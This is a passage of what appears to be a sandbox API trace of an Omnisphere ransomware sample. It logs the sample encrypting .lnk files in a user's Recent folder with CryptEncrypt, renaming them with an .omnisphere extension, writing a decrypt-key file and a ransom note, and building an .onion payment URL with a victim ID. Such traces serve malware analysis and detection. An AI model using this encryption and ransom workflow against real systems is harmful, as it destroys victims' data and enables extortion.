dwFlags=0x0, lpMem=0x16d8560 | out: hHeap=0x1600000) returned 1 [0126.430] GetProcessHeap () returned 0x1600000 [0126.430] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e998 [0126.430] PathCombineW (in: pszDest=0x162e998, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.430] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.430] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.430] CloseHandle (hObject=0x28c) returned 1 [0126.431] GetProcessHeap () returned 0x1600000 [0126.431] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e998 | out: hHeap=0x1600000) returned 1 [0126.431] GetProcessHeap () returned 0x1600000 [0126.431] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.431] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0aa63de, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x230017c6, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x230017c6, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x21e, dwReserved0=0x0, dwReserved1=0xd3, cFileName="KsiH.lnk", cAlternateFileName="")) returned 1 [0126.431] GetProcessHeap () returned 0x1600000 [0126.431] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x92) returned 0x167c028 [0126.431] PathCombineW (in: pszDest=0x167c028, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="KsiH.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KsiH.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KsiH.lnk" [0126.431] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.431] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KsiH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ksih.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.431] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=542) returned 1 [0126.431] GetTickCount () returned 0x115f8d3 [0126.431] GetTickCount () returned 0x115f8d3 [0126.431] GetTickCount () returned 0x115f8d3 [0126.431] GetTickCount () returned 0x115f8d3 [0126.431] GetTickCount () returned 0x115f8d3 [0126.431] GetTickCount () returned 0x115f8d3 [0126.431] GetTickCount () returned 0x115f8d3 [0126.431] GetTickCount () returned 0x115f8d3 [0126.431] GetTickCount () returned 0x115f8d3 [0126.431] GetTickCount () returned 0x115f8d3 [0126.431] GetTickCount () returned 0x115f8d3 [0126.431] GetTickCount () returned 0x115f8d3 [0126.431] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] GetTickCount () returned 0x115f8d3 [0126.432] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16688a0) returned 1 [0126.433] CryptImportKey (in: hProv=0x16688a0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.433] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x80) returned 1 [0126.433] CryptDestroyKey (hKey=0x1639b28) returned 1 [0126.433] CryptReleaseContext (hProv=0x16688a0, dwFlags=0x0) returned 1 [0126.433] CreateFileMappingW (hFile=0x28c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x21e, lpName=0x0) returned 0x288 [0126.433] MapViewOfFile (hFileMappingObject=0x288, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x21e) returned 0x1480000 [0126.433] CryptAcquireContextW (in: phProv=0x3e0d244, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000040 | out: phProv=0x3e0d244*=0x1668240) returned 1 [0126.434] CryptImportKey (in: hProv=0x1668240, pbData=0x3e0d1fc, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d254 | out: phKey=0x3e0d254*=0x1639868) returned 1 [0126.434] CryptSetKeyParam (hKey=0x1639868, dwParam=0x4, pbData=0x3e0d238*=0x2, dwFlags=0x0) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x3e0d240*=0x10, dwBufLen=0x10 | out: pbData=0x0*, pdwDataLen=0x3e0d240*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.434] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptEncrypt (in: hKey=0x1639868, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0126.435] CryptDestroyKey (hKey=0x1639868) returned 1 [0126.435] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0126.435] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x21e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0126.435] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0126.436] GetProcessHeap () returned 0x1600000 [0126.436] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2a2) returned 0x16c9040 [0126.436] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KsiH.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ksih.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KsiH.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ksih.lnk.omnisphere")) returned 1 [0126.437] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KsiH.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KsiH.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KsiH.lnk.omnisphere.id" [0126.437] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KsiH.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\ksih.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0126.437] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0126.438] CloseHandle (hObject=0x3c0) returned 1 [0126.438] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0126.438] CloseHandle (hObject=0x288) returned 1 [0126.438] SetEndOfFile (hFile=0x28c) returned 1 [0126.438] FlushFileBuffers (hFile=0x28c) returned 1 [0126.441] CloseHandle (hObject=0x28c) returned 1 [0126.441] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\KsiH.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0126.441] GetProcessHeap () returned 0x1600000 [0126.441] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16d8560 [0126.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0126.441] GetProcessHeap () returned 0x1600000 [0126.441] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16d56e0 [0126.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16d56e0, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0126.441] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0126.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0126.441] GetProcessHeap () returned 0x1600000 [0126.441] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16d7f48 [0126.441] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16d7f48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0126.442] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0126.442] GetProcessHeap () returned 0x1600000 [0126.442] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16c04f8 [0126.442] PathCombineW (in: pszDest=0x16c04f8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0126.442] GetProcessHeap () returned 0x1600000 [0126.442] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16d2658 [0126.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.442] WriteFile (in: hFile=0x28c, lpBuffer=0x16d2658*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16d2658*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0126.442] CloseHandle (hObject=0x28c) returned 1 [0126.442] GetProcessHeap () returned 0x1600000 [0126.442] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16d8560 | out: hHeap=0x1600000) returned 1 [0126.442] GetProcessHeap () returned 0x1600000 [0126.442] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162cec8 [0126.442] PathCombineW (in: pszDest=0x162cec8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" [0126.442] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.442] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0126.443] CloseHandle (hObject=0x28c) returned 1 [0126.443] GetProcessHeap () returned 0x1600000 [0126.443] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0126.443] GetProcessHeap () returned 0x1600000 [0126.443] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x167c028 | out: hHeap=0x1600000) returned 1 [0126.443] FindNextFileW (in: hFindFile=0x16397a8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf6cb8fb1, ftCreationTime.dwHighDateTime=0x1d5826c, ftLastAccessTime.dwLowDateTime=0x21753702, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x21753702, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x358, dwReserved0=0x0, dwReserved1=0xd3, cFileName="kSZQxt71D.lnk", cAlternateFileName="KSZQXT~1.LNK")) returned 1 [0126.443] GetProcessHeap () returned 0x1600000 [0126.443] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x1656eb0 [0126.443] PathCombineW (in: pszDest=0x1656eb0, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="kSZQxt71D.lnk" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSZQxt71D.lnk") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSZQxt71D.lnk" [0126.443] StrStrW (lpFirst=".omnisphere", lpSrch=".lnk") returned 0x0 [0126.443] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\kSZQxt71D.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\kszqxt71d.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0126.443] GetFileSizeEx (in: hFile=0x28c, lpFileSize=0x3e0d7cc | out: lpFileSize=0x3e0d7cc*=856) returned 1 [0126.443] GetTickCount () returned 0x115f8e3 [0126.443] GetTickCount () returned 0x115f8e3 [0126.443] GetTickCount () returned 0x115f8e3 [0126.443] GetTickCount () returned 0x115f8e3 [0126.443] GetTickCount () returned 0x115f8e3 [0126.443] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] GetTickCount () returned 0x115f8e3 [0126.444] CryptAcquireContextW (in: phProv=0x3e0d254, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x3e0d254*=0x16689b0) returned 1 [0126.445] CryptImportKey (in: hProv=0x16689b0, pbData=0x3e0d1bc, dwDataLen=0x94, hPubKey=0x0, dwFlags=0x0, phKey=0x3e0d260 | out: phKey=0x3e0d260*=0x1639b28) returned 1 [0126.445] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x3e0d70c*, pdwDataLen=0x3e0d250*=0x75, dwBufLen=0x80 | out: 